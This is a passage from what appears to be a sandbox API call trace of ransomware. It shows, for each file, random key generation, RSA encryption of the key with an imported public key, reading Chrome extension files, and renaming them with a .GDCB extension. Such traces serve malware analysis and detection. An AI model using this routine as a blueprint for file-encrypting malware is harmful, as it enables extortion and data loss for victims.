pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x82f0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0234.193] GetLastError () returned 0x0 [0234.194] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.194] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0234.195] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x8300000 [0234.198] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x8310000 [0234.201] ReadFile (in: hFile=0x424, lpBuffer=0x8310000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x8310000*, lpNumberOfBytesRead=0x285d160*=0x5b, lpOverlapped=0x0) returned 1 [0234.210] VirtualAlloc (lpAddress=0x0, dwSize=0x60, flAllocationType=0x3000, flProtect=0x4) returned 0x8420000 [0234.216] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js.gdcb")) returned 1 [0234.221] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0234.223] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.225] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.226] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0234.226] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.226] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0234.228] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.229] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.229] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0234.229] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.229] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0234.231] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6599bf8) returned 1 [0234.231] CryptGetKeyParam (in: hKey=0x6599bf8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0234.232] CryptEncrypt (in: hKey=0x6599bf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x82e0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x82e0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0234.232] GetLastError () returned 0x0 [0234.232] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.232] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0234.234] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6599878) returned 1 [0234.234] CryptGetKeyParam (in: hKey=0x6599878, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0234.234] CryptEncrypt (in: hKey=0x6599878, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x82f0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x82f0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0234.235] GetLastError () returned 0x0 [0234.235] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.235] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0234.237] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x8300000 [0234.240] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x8310000 [0234.242] ReadFile (in: hFile=0x424, lpBuffer=0x8310000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x8310000*, lpNumberOfBytesRead=0x285d160*=0x2d5, lpOverlapped=0x0) returned 1 [0234.252] VirtualAlloc (lpAddress=0x0, dwSize=0x2e0, flAllocationType=0x3000, flProtect=0x4) returned 0x8420000 [0234.258] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json.gdcb")) returned 1 [0234.279] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0234.281] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.283] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.283] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0234.283] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.283] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0234.285] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.286] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.286] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0234.286] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0234.287] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0234.289] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x65998b8) returned 1 [0234.289] CryptGetKeyParam (in: hKey=0x65998b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.289] CryptEncrypt (in: hKey=0x65998b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x82e0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x82e0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0234.289] GetLastError () returned 0x0 [0234.289] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.289] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0234.291] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6599a38) returned 1 [0234.291] CryptGetKeyParam (in: hKey=0x6599a38, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.291] CryptEncrypt (in: hKey=0x6599a38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x82f0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x82f0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0234.292] GetLastError () returned 0x0 [0234.292] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0234.292] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0234.293] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0234.295] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.297] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.297] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0234.297] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.297] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0234.299] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.300] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.300] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0234.300] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.300] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0234.303] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6599978) returned 1 [0234.303] CryptGetKeyParam (in: hKey=0x6599978, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.303] CryptEncrypt (in: hKey=0x6599978, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8300000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8300000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0234.303] GetLastError () returned 0x0 [0234.303] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.303] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0234.305] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6599a78) returned 1 [0234.305] CryptGetKeyParam (in: hKey=0x6599a78, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.305] CryptEncrypt (in: hKey=0x6599a78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8310000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8310000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0234.306] GetLastError () returned 0x0 [0234.306] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.306] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0234.306] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0234.309] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.310] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.310] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0234.310] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.310] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0234.312] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.313] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.313] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0234.313] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.313] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0234.315] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6599ab8) returned 1 [0234.316] CryptGetKeyParam (in: hKey=0x6599ab8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.316] CryptEncrypt (in: hKey=0x6599ab8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8320000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8320000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0234.316] GetLastError () returned 0x0 [0234.316] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0234.316] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0234.318] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x65998f8) returned 1 [0234.318] CryptGetKeyParam (in: hKey=0x65998f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.318] CryptEncrypt (in: hKey=0x65998f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8330000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8330000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0234.318] GetLastError () returned 0x0 [0234.318] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.318] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0234.319] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0234.322] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.323] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.323] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0234.323] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.323] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0234.324] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.326] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.326] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0234.326] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.326] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0234.328] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6599b78) returned 1 [0234.328] CryptGetKeyParam (in: hKey=0x6599b78, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.328] CryptEncrypt (in: hKey=0x6599b78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8340000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8340000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0234.328] GetLastError () returned 0x0 [0234.328] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.328] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0234.330] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6599cb8) returned 1 [0234.330] CryptGetKeyParam (in: hKey=0x6599cb8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.330] CryptEncrypt (in: hKey=0x6599cb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8350000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8350000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0234.330] GetLastError () returned 0x0 [0234.330] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.330] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0234.331] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0234.333] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.335] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.335] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0234.335] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.335] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0234.337] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.339] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.339] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0234.339] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.339] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0234.341] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6599cf8) returned 1 [0234.341] CryptGetKeyParam (in: hKey=0x6599cf8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.341] CryptEncrypt (in: hKey=0x6599cf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8360000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8360000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0234.342] GetLastError () returned 0x0 [0234.342] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.342] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0234.344] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6599938) returned 1 [0234.344] CryptGetKeyParam (in: hKey=0x6599938, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.344] CryptEncrypt (in: hKey=0x6599938, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8370000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8370000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0234.344] GetLastError () returned 0x0 [0234.344] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.344] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0234.345] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0234.347] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.349] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.349] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0234.349] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0234.349] 